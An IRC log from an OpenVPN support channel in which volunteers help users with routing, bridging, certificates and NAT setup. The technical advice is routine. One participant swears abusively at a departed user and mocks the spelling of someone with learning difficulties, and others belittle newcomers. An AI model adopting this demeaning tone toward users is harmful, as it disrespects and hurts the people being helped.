14:23 < pekster> vaq: Okay, that's not right. You've created a PtP VPN connection, which is *strictly* a link between two hosts
14:23 < Moonlightning> Since when does VPN software do the rerouting itself? O.o
14:23 <@plaisthos> pekster: With OpenVPN for Android you will get the same message :)
14:23 < vaq> pekster: okay
14:23 < vaq> pekster: so I need a different --ifconfig ?
14:24 < Moonlightning> Routing /all/ Internet traffic through the VPN is something you CAN do. But you don't HAVE to do it.
14:24 < pekster> What's your high-level goal vaq?
14:24 < Moonlightning> None of the machines on the VPN are configured like that.
14:24 <@plaisthos> Moonlightning: yeah
14:24 <@plaisthos> Moonlightning: so?
14:24 < pekster> vaq: As concicely as you can, describe your setup and what you wish to achieve
14:24 < Moonlightning> So why would I have to let the app intercept and reroute all traffic?
14:24 < vaq> pekster: my plan is to connect these two xenserver hosts together, so that they will form a local network 172.16.1.0/24 which can be used from within virtual machines.
14:24 < vaq> at each given xen node.
14:25 <@plaisthos> Moonlightning: You are still giving the app the potential to reroute all traffic
14:25 <@plaisthos> Moonlightning: it may not set a default route but it can
14:25 < pekster> vaq: Don't do that unless you really wanted a L2 bridge. Ideally, route between subnets at either end
14:25 < Moonlightning> Why couldn't that be implemented in the OS?
14:25 < pekster> See also:
14:25 < pekster> !tunortap
14:25 <@vpnHelper> "tunortap" is (#1) you ONLY want tap if you need to pass layer2 traffic over the vpn (traffic destined for a MAC address). If you are using IP traffic you want tun. Dont waste the extra overhead. or (#2) and if your reason for wanting tap is windows shares, see !wins or (#3) also remember that if someone gets access to any side of a tap vpn they can use layer2 attacks like arp poisoning against you
14:25 <@vpnHelper> over the vpn or (#4) lan gaming? use tap! or (#5) Normal Android/iOS devices (not rooted/jailbroken) support only tun.
14:25 <@plaisthos> Moonlightning: what?
14:25 < vaq> pekster: but they are not on same networ
14:25 < vaq> +k
14:25 < vaq> ah
14:25 < vaq> so I need to use tap?
14:25 <@plaisthos> Moonlightning: finegraned route permission for VPN apps?!
14:25 < Moonlightning> Why can't Android handle the rerouting instead of letting the app do it, and giving me a discouraging warning? :V
14:26 < pekster> vaq: Well, why do you think you need tap? Why can't you use routing?
14:26 -!- averagecase [~anon@dslb-088-078-157-065.pools.arcor-ip.net] has quit [Quit: Verlassend]
14:26 < vaq> pekster: because I need to create the tunnel between two xenserver hosts who are on two different geo locations.
14:27 <@plaisthos> Moonlightning: This is simplified, either you trust the app or you don't
14:27 < pekster> vaq: That's *not* a valid reason to use a bridge
14:27 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
14:27 < pekster> vaq: You only *ever* need a bridge if you are transport non-IP packets (such as Ethernet IPX frames, multicast frames, etc)
14:27 < Moonlightning> plaisthos: oversimplified? :I
14:27 < vaq> pekster: so how would you form a local network between two xenservers using openvp?
14:27 <@plaisthos> Moonlightning: and android ask you want to allow the app to use the VPN API and warns you about the possible implications
14:27 < pekster> vaq: I'd create and route between subnets
14:27 <@plaisthos> Moonlightning: not really
14:28 < pekster> vaq: For instance, set up 172.16.1.0/25 and 172.16.1.128/25, create a PtP (or w/e) link between your hosts, and route between the subnets
14:28 <@plaisthos> Moonlightning: do you want a fine grained per network dialog system?
14:28 < Moonlightning> Seems oversimplified to me. I thought Android was supposed to be…not simplified. >.<
14:28 < vaq> pekster: a route between subnets? after the openvpn connection is established ?
14:28 < Moonlightning> plaisthos: I'd rather
14:28 < pekster> vaq: Yes. If you do not need IPX/Multicast/broadcast/WoL/$insert_L2_protocol_here you do not need/want tap. Don't use tap unless you have a valid reason
14:28 < Moonlightning> Not a /dialog/ system? O.o I'm thinking more along the lines of a preference pane, and good documentation :P
14:29 < vaq> pekster: so I will use tun
14:30 <@plaisthos> Moonlightning: There are not many use cases where you trust an VPN app but only for certain networks as opposed to I trust that VPN app
14:31 < Moonlightning> How about “let this app make a VPN connection, but don't let it reroute anything; if I want something to go over the VPN, I'll route it over the VPN myself”?
14:32 < Moonlightning> Not that hard. Set up an <insert-protocol-here> proxy on a machine on the VPN; change the proxy settings to point to that machine.
14:33 <@plaisthos> Moonlightning: too complicated for almost all users
14:33 < Moonlightning> Really? :I
14:34 < vaq> pekster: xen node01 now has xapi1 172.16.1.0/255.255.255.128, xen node02 now has xapi1 172.16.1.128/255.255.255.128
14:34 <@plaisthos> Moonlightning: I would understand and not use it
14:34 < vaq> pekster should I use the same --ifconfig settings as before?
14:34 <@plaisthos> If I had a more fine grained than trust the VPN app/don't trust the VPN app
14:34 < pekster> vaq: Sure, the exact netmasks you use are up to you (you can use two /24's, or two /20's, etc depending on how big you need.) And no, your VPN range must always *not* be the same as the other networks across your environment
14:34 < cornfeedhobo> does ta.key need to be from the server that is running openvpn? or can i create it on host1 and use it as well on host2?????
14:34 < Moonlightning> Can't I just install the generic Linux openvpn client?
14:34 < pekster> Pick any two RFC1918 IPs except those
14:35 < Moonlightning> And make it work as it does on every other machine?
14:35 <@plaisthos> Moonlightning: sure root your phone
14:35 < vaq> pekster: so how do I route xapi1 into tun ?
14:35 < pekster> Grab a networking 101 book?
14:36 < pekster> Maybe consult the documentaion for the ip(8) command on Linux, or (if and only if you're using a BSD or non-Linux host) the route(8) documentation
14:36 < pekster> !101
14:36 <@vpnHelper> "101" is This channel is not a '101' replacement for any of the following topics or others: Networking, Firewalls, Routing, Your OS, Security, etc etc
14:36 < pekster> OpenVPN isn't even a factor here after you have your PtP link up and can ping between it. Just add a route for the remote network across your VPN link
14:36 < pekster> (ideally, probably define it in a --route statement on the VPN config for each peer.)
14:37 < pekster> You want to route across the PtP link; so add a route to do just that
14:38 < vaq> pekster: okay so
14:38 < vaq> pekster: xapi1 has 172.16.1 now on both xen nodes
14:38 < pekster> And you don't route anything "onto tun" -- routes are define by gateway and IP, not by interface
14:38 < vaq> both xen nodes are connected through openvpn now on 192.168.1.
14:38 < vaq> should I be able to ping 172.16.1. inside vms now?
14:39 < pekster> Since "172.16.1" isn't a valid IP or network, I have no clue what you're asking
14:40 < cornfeedhobo> how can i use RSA to show info about a key i made? i think this is a cert hostname issue
14:41 < vaq> pekster: XEN01: xapi1 172.16.1.1/24 - XEN02: xapi1 172.16.1.2/24, XEN01+XEN02 are linked through OpenVPN on tun1 with 192.168.1.1>192.168.1.2
14:41  * pekster sighs
14:41 < vaq> pekster: should I on both xen nodes add the 1772.1.1./24 to tun ?
14:41 < pekster> Nope, you can't have duplicate networks like that
14:41 < pekster> What you need is a basic networking guide; openvpn is useless if you don't understand the basic concepts of how networking and routing works
14:42 < pekster> You have two disjoined networks using the *same* range; that's not allowed
14:42 < cornfeedhobo> ^ +1
14:42 < pekster> cornfeedhobo: keys don't have "info" associated with them; X.509 certificates do
14:43 < cornfeedhobo> pekster: thank you for the correction, i miss spoke
14:43 < pekster> X.509 is a signed copy of the public certificate, some info about the requestor and issuer (called the "Distinguished Name") along with the public key
14:43 < pekster> So what is it you're attempting to access/dump/look at?
14:43 < cornfeedhobo> but that is what i need. i want to see if put in the wrong dn
14:43 < vaq> pekster: so how do I make xapi1 available over the tun channel?
14:43 < pekster> `openssl x509 -in some.crt -noout -text`
14:43 < vaq> pekster: so vm's can use xapi1 as the bridge.
14:43 < cornfeedhobo> k wasnt sure if that would do it. thanks
14:44 < pekster> vaq: You don't, because you've got a duplicate IP range on both ends
14:44 < pekster> Fix that, then route across your PtP link
14:44 < vaq> pekster: so, xen01 xapi1 172.16.1.0/255.255.255.128, xen02 xapi1 172.16.1.128/255.255.255.128
14:45 < vaq> pekster: so they dont conflict
14:45 < pekster> Sure, or any network ranges you like
14:45 < pekster> I just used two /25's in my example since you seemed hell-bent on using that /24 as a supernet
14:45 < pekster> Use two /24's for all it matters; your network choices are up to you
14:46 < vaq> okay so the two xapi1 interfaces are configured now.
14:46 < pekster> Route across them in the usual way, making any firewall accomidations you need for your enviroinment and you're done
14:46 < pekster> Detailed info at:
14:46 < pekster> !route
14:46 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs
14:46 <@vpnHelper> behind the server or client
14:46 < vaq> pekster: but the OpenVPN connection between the two servers
14:46 < vaq> pekster: should they have their own subnet?
14:47 < pekster> Naturally. You can't *ever* have duplicate networks on either side of your network like that
14:47 < cornfeedhobo> pekster: Okay. let me back up and maybe you can help me as you did a few weeks ago (do you take bitcoin donations?). I have a working bridged VPN in LA. It was setup with certs created on a VPS devoted to cert making for this cause. Now that LA is working, I have set to duplicate the same setup in Chicago. Do i need new certs for the chicago vps or can i re-use some of the certs??
14:47 < vaq> pekster: the two servers are now connected 192.168.1.1>192.168.1.2
14:48 < vaq> pekster: so do I add the route to tun or the xapi interface?
14:48 < cornfeedhobo> !internal
14:48 < cornfeedhobo> where is that graph you gave me? vaq could use it
14:49 < pekster> Inaccessible
14:49 < pekster> And a graph won't help fix a lack of fundamental knowlege about how networking works
14:49 < cornfeedhobo> true
14:49 < pekster> cornfeedhobo, if this is part of the same VPN infrastructure, you should have unique certs signed by the same CA across all of your nodes
14:50 < pekster> Don't re-use them; you *can* (with --duplicate-cn) but then 1) you can't distinguish between them when they're connected, and 2) a compromise of one inherently compromises the other
14:50 < cornfeedhobo> pekster: so i have unique certs for the vpn nodes but client certs i shouldn't have to re-make, correct?
14:50 < pekster> If it's a completely dis-joined infrastructure, just make a new PKI
14:51 < cornfeedhobo> like my laptop cert should work on both vpn's as long as it's signed by the same CA, right?
14:51 < cornfeedhobo> once i get pass this barrier, i want to join them
14:51 < pekster> Right, if you have 2 servers both using certs signed by the same CA, a client cert signed by the same CA can connect to either
14:52 < pekster> Just don't re-use certs like that; sign new ones for each individual system connecting (such that you can control, identify, and revoke them independently)
14:52 < cornfeedhobo> yes, i have done that. like i have seperate certs for my phone vs laptop
14:52 < pekster> Treat servers the same way
14:53 < cornfeedhobo> and i think i did that. brb i will double check
14:59 < cornfeedhobo> so i did a diff on the output from the certs i made for the respective difference, and only the CN= is different (assuide from the key portions)
15:00 < cornfeedhobo> and the CN in each case matches the server's hostname
15:00 < cornfeedhobo> FQDN**
15:00 < vaq> pekster: should I add a route between the interfaces?
15:00 < pekster> vaq: server A needs a route to the LAN behind server B (call that LAN B if you like.) And vise-versa
15:01 < pekster> Treat it like you would any other network link
15:02 < vaq> pekster: so, on server A route add -net 172.16.1.128 netmask 255.255.255.128 gw 172.16.1.128 dev xapi1
15:02 < vaq> pekster: on server B route add -net 172.16.1.1 netmask 255.255.255.128 gw 172.16.1.1 dev xapi1
15:02 < pekster> If you're using Linux, stop using the 'route' command
15:02 < pekster> !ifconfig_linux
15:02 <@vpnHelper> "ifconfig_linux" is Avoid use of 'ifconfig' and 'route' commands on modern Linux distros. It's old, deprecated, and often misleading/wrong. Use the 'ip a' and 'ip r' commands instead. More info: http://inai.de/2008/0219-ifconfig-sucks.php
15:02 < vaq> pekster: okay, I ip route instead?
15:03 < cornfeedhobo> yes
15:03 < pekster> And 172.16.1.1/25 isn't the proper network; 172.16.1.0/25 is
15:03 < pekster> The former defines an individual system's IP along with the netmask; the latter defines the network itself
15:04 < vaq> so
15:04 < vaq> ip route add 172.16.1.0/25 via 172.16.1.1 dev xapi1
15:04 < pekster> Nope, you route across the VPN link
15:04 < pekster> What would be the point of routing a link-local network to your own local box?
15:04 < vaq> ip route add 172.16.1.0/25 via 192.168.1.1 dev xapi1
15:04 < vaq> oh sorry dev tun0
15:04 < pekster> Just leave the device off
15:04 < vaq> okay
15:05 < vaq> so ip route add 172.16.1.0/25 via 192.168.1.1
15:05 < pekster> Possibly, if 172.16.1.0/25 is reachable via 192.168.1.1
15:05 < vaq> hm
15:06 < vaq> I get RTNETLINK answers: File exists
15:06 -!- xBytez [~xbytez@2a00:f48:1025:feed:b00b:feed:7ae9:4cde] has quit [Changing host]
15:06 -!- xBytez [~xbytez@unaffiliated/xbytez] has joined #openvpn
15:06 -!- JAVACODER [~JAVACODER@2.190.40.62] has quit [Quit: Miranda IM! Smaller, Faster, Easier. http://miranda-im.org]
15:07 < pekster> Presumably because you already have the route?
15:07 < pekster> Dump the routing tables and find out
15:07  * pekster files this under "try it yourself and see!"
15:07 < vaq> 172.16.1.0/25 dev xapi1  proto kernel  scope link  src 172.16.1.1
15:08 < vaq> which was created by the interface when I configured it
15:08  * pekster sighs again
15:08 < pekster> If the network is link-local, why on earth are you attempting to *route* to it?
15:08 < pekster> It's *on* link
15:09 < vaq> pekster: because I am trying to connect 172.16.1.0 between two servers
15:09 < pekster> Please go buy a basic networking book, or sign up for a class at your local university. You cannot have any hope of using openvpn until you have a basic idea of how elementrary networking works
15:10 < cornfeedhobo> Alright, I feel confident it's not a cert error. i made new certs for each node, the CN matches the fqdn, and each client cert was signed by the same CA
15:11 < pekster> cornfeedhobo, remember that the CN is "just a bunch of text" -- it's not (or doesn't have to be at least) related to the fqdn of the host
15:11 < pekster> What problem are you attempting to solve?
15:11 < pekster> cert issues generally give you fairly obvious errors when you connect citing a verification problem
15:12 < cornfeedhobo> so many. let me start over as to not confuse. i also would be glad to donate later. you are always very helpful here
15:13 -!- levifig [~levifig@spwn.co] has quit [Read error: Operation timed out]
15:14 < cornfeedhobo> brb just resetting everything
15:16 -!- levifig [~levifig@spwn.co] has joined #openvpn
15:19 -!- dvl- [~dan@nyi.unixathome.org] has quit [Changing host]
15:19 -!- dvl- [~dan@pdpc/supporter/active/dvl] has joined #openvpn
15:28 < cornfeedhobo> okay. i now have a blank install. first I am going to copy the created keys to the server. brb
15:32 -!- michaelhart [~michaelha@162.209.1.130] has quit [Quit: michaelhart]
15:35 -!- Wintereise [~reise@unaffiliated/wintereise] has quit [Ping timeout: 252 seconds]
15:35 -!- AsadH [~AsadH@unaffiliated/asadh] has quit [Ping timeout: 240 seconds]
15:35 -!- lbft [~lbft@unaffiliated/lbft] has quit [Read error: Operation timed out]
15:41 < cornfeedhobo> okay. fresh start. here are my configs and current NIC statuses  https://ezcrypt.it/v66n#RnjrwoJCSsxdzllCnlCyZ8eK
15:41 < cornfeedhobo> pekster: ^
15:41 <@vpnHelper> Title: EZCrypt - Paste (at ezcrypt.it)
15:43 < pekster> In the future, don't use ifconfig
15:43 < pekster> !ifconfig_linux
15:43 <@vpnHelper> "ifconfig_linux" is Avoid use of 'ifconfig' and 'route' commands on modern Linux distros. It's old, deprecated, and often misleading/wrong. Use the 'ip a' and 'ip r' commands instead. More info: http://inai.de/2008/0219-ifconfig-sucks.php
15:44 < pekster> Oh, wait, that is ip...
15:44 < pekster> carry on then
15:44  * pekster glanced too quickly at the broadcast stuff below
15:45 < cornfeedhobo> after running "bridge-start" and /etc/init.d/openvpn start, i then have https://ezcrypt.it/w66n#kzo55dOQVdULaQsTebLh0sYL
15:45 <@vpnHelper> Title: EZCrypt - Paste (at ezcrypt.it)
15:45 < pekster> Why on earth are you using a /8?
15:45 < cornfeedhobo> (ugh i know... boss tells me too... still fighting that battle)
15:45 < cornfeedhobo> (i will win, just not today)
15:46 -!- nikkiheat [~nikkiheat@133.244.sfcn.org] has joined #openvpn
15:46 < cornfeedhobo> notice that before OpenVPN starts, eth1 no longer has an address, and after wards it does again
15:46 < pekster> You actually need 16-some-odd million hosts on the subnet?
15:46 < cornfeedhobo> lol no. its just alot of hosts on different subnets that werent thought about when they were created. this is the first step in consolidation
15:47 < pekster> Right. You messed up becuase eth1 should never have an address if it's part of the bridge
15:47 < pekster> The bridge should hold it
15:47 < cornfeedhobo> exactly
15:47 < cornfeedhobo> and thats whats happening at my other vpn
15:47 < pekster> Your "before" snapshot is wrong; even with the VPN down, you should not have eth1 assigend with an address
15:47 < pekster> Put it on br0 and assign eth1 as a bridge member to it
15:47 < pekster> That's before you even worry about openvpn
15:48 < cornfeedhobo> i did that though. I am usinng the included bridge-start script
15:48 < cornfeedhobo> and i run it before starting openvpn
15:48 < pekster> Clearly not, becuase eth1 should not have an address at all
15:48 < cornfeedhobo> where does it have it in the first section?
15:49 < pekster> line 11-15
15:49 < pekster> Don't do that
15:49 < cornfeedhobo> thats eth0
15:49 < cornfeedhobo> not eth1
15:49 < pekster> Nope, that's 6-10
15:49 < pekster> https://ezcrypt.it/v66n#RnjrwoJCSsxdzllCnlCyZ8eK
15:49 <@vpnHelper> Title: EZCrypt - Paste (at ezcrypt.it)
15:49 < pekster> You're apparently attempting to bridge, but you're doing it wrong
15:50 < cornfeedhobo> OHHH
15:50 < pekster> (did we cover why you're bridging in the first place? Bridging a /8 sounds like a really Bad Idea to me)
15:50 < cornfeedhobo> you mean dont give eth1 an IP at all before bridge creation?
15:50 < pekster> bridges hold address, *not* their members
15:50 < pekster> bridge members are like switch ports
15:50 < cornfeedhobo> indeed, butwhat abou before bridge creation?
15:50 < pekster> You don't have an address before that. Bring it up on boot if that's relevant
15:51 < pekster> Consult your local distro docs for the preferred way to do that
15:51 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
15:52 < cornfeedhobo> thats what i mean, currently, at boot, eth1 takes 10.0.88.50 and then when i manually start the bridge, it moves to br0
15:52 < pekster> No
15:52 < pekster> Don't "move" it anywhere
15:52 < pekster> Set it up how you want it
15:52 < cornfeedhobo> okay.
15:52 < cornfeedhobo> brb
15:52 -!- fischli [~fischli@static-31-25-152-181.ewacom.ropa.net] has left #openvpn []
15:52 < pekster> Don't "manually" do anything
15:52 < pekster> That's simply not what you want withi a server-side bridge
15:55 < cornfeedhobo> i am not sure i am being clear
15:55 < cornfeedhobo> you familiar with the bridge-start script that is included it the docs?
15:56 < cornfeedhobo> http://openvpn.net/index.php/open-source/documentation/miscellaneous/76-ethernet-bridging.html
15:56 <@vpnHelper> Title: Ethernet Bridging (at openvpn.net)
15:57 < pekster> Whatever you're doing, it's inherently wrong. If your server has a dedicated IP that you wish to extend at the L2 level, br0 should be created on-boot, ethWhatever added as a member, and your OS sets the address on br0
15:57 < pekster> That's how a bridge works
15:57 -!- mattock is now known as mattock_afk
15:58 < cornfeedhobo> okay, except this exact setup /is/ working somewhere else... and is described on the guide this way
15:58 < pekster> Ues your distros method of setting up a bridge
15:58 < pekster> That guide also uses the antiquated 'ifconfig' crap, among other issues; I wouldn't put too much faith in it
15:59 < pekster> Again, you're doing it wrongn if that's what your attempting to do. Don't "switch" things to the bridge. I'm not telling you again that this is the incorrect way to configure persistent networking
15:59 < pekster> Do what you like, but it's not correct; any modern distro supports bridges
15:59 < pekster> Googling for "bridge networking $yourDistro" might be a good place to start
16:00 < cornfeedhobo> every distro can use brctl
16:00 < pekster> naturally; you want this to happen *at boot*
16:00 < cornfeedhobo> i dont understand why i cant make it manually while testing
16:00 < cornfeedhobo> yeah of course later
16:00 < cornfeedhobo> but it would be nice if i could get something to even connect once
16:00 -!- vaq [~lars@vaq/unaffiliated] has quit [Quit: leaving]
16:01 < pekster> You've apparnetly screwed it up then, becuase "after openvpn starts" you should *NOT* have an address on your bridge members
16:01 < cornfeedhobo> i mean, of course the goal is to get it to boot with the bridge, but i consider that step 2
16:01 < cornfeedhobo> okay so you are kinda toulching on what i have been trying to ask
16:01 < pekster> Is there a valid reason for bridging in the first place? You're running into exactly the reason it's not recommended, since you're running into very basic problems configuring your OS properly
16:02 < pekster> OpenVPN can't work if your OS isn't properly configured for what you're doing
16:03 < pekster> That 2nd paste evidently shows that it's not (line 44,45 at least)
16:03 < cornfeedhobo> but you see where it is setup before openvpn starts, right? everything looks *exactly* like what you have been scolding me to do
16:03 < pekster> Not if you want to bridge, no
16:03  * pekster sighs
16:04 < cornfeedhobo> what about paste 2 lines 4-26 are wrong?
16:04 < cornfeedhobo> because again this is working exactly this way else where
16:04 < cornfeedhobo> the bridge exists before openvpn starts, and its members dont have IPs
16:06 < pekster> `brctl show` has eth1 and tap0 in it?
16:06 < cornfeedhobo> yes i will post one sec
16:06 < pekster> Maybe the OS is doing something weird then; it shouldn't have the IP there, but maybe that's a weird quirk
16:07 < cornfeedhobo> thats what i mean. there has to be something awry
16:07 < pekster> What's `ip r` show?
16:07 < cornfeedhobo> it only happens once i start openvpn, then it gives eth1 and IP (all on its own from mhat i can tell{
16:07 < cornfeedhobo> before or after openvpn starts?
16:08 < pekster> both, I guess
16:08 < cornfeedhobo> one sec i will make a long post of before and after
16:14 < cornfeedhobo> sorry rebooting
16:15 -!- Breetai [~Breetai@mail.northriverboats.com] has left #openvpn ["Ex-Chat"]
16:15 < pekster> I don't need the blow by blow (makes me less interested in checking the channel if it's full of unnecessary details.) All you had to do what `ip r > while-up; killall openvpn; sleep 5; ip r > while-down`
16:16 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-vvakendrstlbrciq] has quit [Ping timeout: 256 seconds]
16:17 < cornfeedhobo> yeah i ran into something that may be an issue. wanted to reboot to be sure it wasnt something i did. didnt want you to think i ran off... that happens too often on irc
16:21 < cornfeedhobo> okay i rebooted to be sure.... unlike the other install, eth1 keeps the ip after bridge creation.
16:26 -!- Neal_ [~neal@felix.ineal.me] has left #openvpn ["Textual IRC Client: www.textualapp.com"]
16:27 < cornfeedhobo> screw it. i will just copy the other vm. this is getting no where fast
16:40 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has quit [Ping timeout: 240 seconds]
16:42 < skered-> pekster: So I think I figured out what's causing these client to think they need to restart their computer on Windows with OpenVPN when timeout or network is lost... they're not disconnecting from the VPN via the system trey icon.
16:44 < skered-> I just tested all the cases from my message acouple hours ago in a Windows VM and like you said.. OpenVPN in Windows works just fine - they just need to disconnect even though they're not really disconnect but letting Windows/OpenVPN destory/change the tap devices and other silly Windows DNS stuff.
16:51 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
16:52 -!- pa [~pa@unaffiliated/pa] has quit [Ping timeout: 248 seconds]
17:02 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
17:04 -!- lbft [~lbft@unaffiliated/lbft] has joined #openvpn
17:08 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
17:14 -!- nikkiheat [~nikkiheat@133.244.sfcn.org] has quit [Ping timeout: 256 seconds]
17:19 -!- Denial [Denial@90.205.133.229] has quit []
17:21 -!- master_of_master [~master_of@p4FF24683.dip0.t-ipconnect.de] has joined #openvpn
17:24 -!- master_o1_master [~master_of@p4FF24D36.dip0.t-ipconnect.de] has quit [Ping timeout: 276 seconds]
17:25 -!- dballester [~dballeste@139.49.17.109.rev.sfr.net] has quit [Quit: Saliendo]
17:27 -!- uuuppz [~kvirc@77.107.233.34] has joined #openvpn
17:32 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Ping timeout: 260 seconds]
17:45 < cornfeedhobo> skered-: are they just shutting down? or is the windows session timing out?
17:45 < cornfeedhobo> what are the doing now vs turning off openvpn properly?
17:45 -!- Cultist [~Cultist@c-71-194-185-109.hsd1.il.comcast.net] has quit [Read error: Connection reset by peer]
17:47 < skered-> cornfeedhobo: Restarting their computers
17:48 < cornfeedhobo> interesting, maybe you can add an event to shutdown openvpn through cli when not shut down properly
17:48 < skered-> Well I don't think I need to do anything other than "Right click the system trey icon, choose disconnect"
17:59 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
18:02 -!- Cultist [~Cultist@c-71-194-185-109.hsd1.il.comcast.net] has joined #openvpn
18:12 -!- Mike-- [mad@probie.xs4all.nl] has quit [Ping timeout: 246 seconds]
18:13 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has quit [Ping timeout: 264 seconds]
18:15 -!- novaflash is now known as novaflash_away
18:19 -!- MsToxic [~MsToxic@ool-457d12c0.dyn.optonline.net] has joined #openvpn
18:20 < MsToxic> hey guys, i can't connect to winscp (ftp client) via openvpn client it keeps saying connection failed
18:26 -!- kirin` [telex@gateway/shell/anapnea.net/x-hhzsylmurpijcveb] has quit [Ping timeout: 248 seconds]
18:27 < cornfeedhobo> MsToxic: thats not really any info man
18:28 -!- totality [~totality@92.40.254.33.threembb.co.uk] has joined #openvpn
18:28 < totality> !nat
18:28 <@vpnHelper> "nat" is (#1) http://openvpn.net/howto.html#redirect for an explanation of NAT as it applies to openvpn or (#2) http://www.secure-computing.net/wiki/index.php/OpenVPN/FAQ#Traffic_forwarding_doesn.27t_work_when_using_client_specific_access_rules or (#3) dont forget to turn on ip forwarding or (#4) please choose between !linnat !winnat and !fbsdnat for specific howto
18:28 < totality> !commands
18:28 < totality> !linnat
18:28 <@vpnHelper> "linnat" is (#1) for a basic iptables NAT where 10.8.0.x is the vpn network: iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE or (#2) to choose what IP address to NAT as, you can use iptables -t nat -I POSTROUTING -o eth0 -j SNAT --to <IP ADDRESS> or (#3) http://netfilter.org/documentation/HOWTO//NAT-HOWTO.html for more info or (#4) openvz see !openvzlinnat
18:29 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has joined #openvpn
18:29 < MsToxic> wut? u need details?
18:31 -!- kirin` [telex@gateway/shell/anapnea.net/x-hroobrrywbgslbqf] has joined #openvpn
18:32 < totality> urgggg
18:32 < totality> why is nither masquerade or snat liens workign i cannot for the life of me get passthroguh working
18:38 -!- totality [~totality@92.40.254.33.threembb.co.uk] has quit [Ping timeout: 248 seconds]
18:38 < EugeneKay> !redirect
18:38 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
18:38 <@vpnHelper> http://ircpimps.org/redirect.png or (#5) flowchart mirror at http://pekster.sdf.org/misc/redirect.png
18:38 < EugeneKay> !ipforward
18:38 <@vpnHelper> "ipforward" is (#1) please choose between !linipforward !winipforward !osxipforward and !fbsdipforward or (#2) ip forwarding is needed any time you want packets to flow from 1 interface to another, so from tun to eth, eth to tun, tun to tun, etc etc. it must be enabled in the kernel AND allowed in the firewall
18:38 < EugeneKay> Probably that ^
18:39 < EugeneKay> Also you're gone. Fuck you, piece of shit.
18:40 -!- MsToxic [~MsToxic@ool-457d12c0.dyn.optonline.net] has left #openvpn []
18:41 -!- novaflash_away is now known as novaflash
18:41 < cornfeedhobo> lol
18:43 -!- totality [~totality@92.40.254.33.threembb.co.uk] has joined #openvpn
18:43 < totality> still nto workign cna anyoen give me a hand with this
18:43 < totality> cos i been bashign ym head of a wall for the last 3 days
18:44 < cornfeedhobo> totality: please paste your configs along with the output of "ip a" and "ip r"
18:44 < EugeneKay> No, we can't, because you left right before I gave you the answer.
18:45 < totality> cornfeedhobo, will do 2 secs
18:45 < totality> EugeneKay, i didnt leave i was testign sumamt and it dced me
18:45 -!- Mike-- [mad@probie.xs4all.nl] has joined #openvpn
18:45 < EugeneKay> Also you can't spell.
18:46 < cornfeedhobo> lol. i would say you are harsh but i can only imagine what this chan deals with
18:47 -!- dazo is now known as dazo_afk
18:47 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has joined #openvpn
18:51 < totality> EugeneKay, cornfeedhobo http://pastebin.com/FdsLfq9A
18:51 < totality> anythign else oyu need jsut ask and id liek to point otu coudl you lay of my spellign i have some sevear learnign diffciulties and well yeah its nto intentional
18:52 < totality> cornfeedhobo, i also included my iptables -t nat -L in there for you
18:52 < cornfeedhobo> thanks
18:52 < totality> oh bugger ment to put ifconfig in as well
18:53 < totality> my tun isnt up atm
18:53 < totality> i forgot to start the openvpn back up
18:53 < totality> jus realised
18:53 < totality> cornfed let me update that paste and ill let you know
18:54 < cornfeedhobo> k
18:57 < totality> cornfeedhobo, http://pastebin.com/UL6ZPk5L
18:57 < totality> sorry abotu that little boob
18:57 < cornfeedhobo> wahts the goal?
18:57 < cornfeedhobo> what's*
18:58 < totality> erm accses ther net throguh the vpn
18:58 < totality> its im visitng chian alot in the nxt few months
18:58 < cornfeedhobo> k
18:58 < totality> shina*
18:58 < cornfeedhobo> no need to reach the nat behind it?
18:58 < totality> oh bloody hell fingers stop failign me
18:58 < cornfeedhobo> just net access, right?
18:58 < cornfeedhobo> what os?
18:59 < totality> yeah well accsesign the sever its self throguh it woudld be handy btu thats jsut a matter of ip adress
18:59 < totality> and its promox vps
18:59 < totality> im tryign to run it within the hsot system
18:59 < totality> its a debian based system
18:59 < totality> proxmox*
18:59 < cornfeedhobo> well it's a bit more complicated than that
18:59 < cornfeedhobo> k
18:59 < totality> im nto runngin inside a vps
18:59 < totality> its the hsot system
19:00 < totality> the ironic thign is i have vpns runngin fine inside the vps's
19:00 < totality> as clients have asked me to set them up for them
19:00 < totality> i go to set my self one up outside the vps's and its jsut giving me a big F U
19:03 < totality> sorry if i am annoying you cornfeedhobo
19:04 < cornfeedhobo> not at all. just super busy
19:05 < cornfeedhobo> i dont like to be the angry freenode type, not answering your direct questions and just saying 'you are doing it wrong'... NO ONE benefits then
19:05 < totality> can you see anythign thats potentialy the issue
19:05 < totality> cornfeedhobo, yeah im the same
19:05 < cornfeedhobo> god i hate how people don't answer direct questions, they just say, dont do it that way
19:05 < totality> if i can help i will
19:06 < cornfeedhobo> especcially when it's the "official" way that is descibed on an organization's webpage
19:07 -!- nutron [~nutron@unaffiliated/nutron] has quit [Quit: I must go eat my cheese!]
19:07 < totality> yeah well mynes a prewritten shell script i made for settign up vps based vpns to save me time
19:07 < totality> but i edited it for outside the vps whitch was pretty much change hte iptables line
19:07 < totality> in it
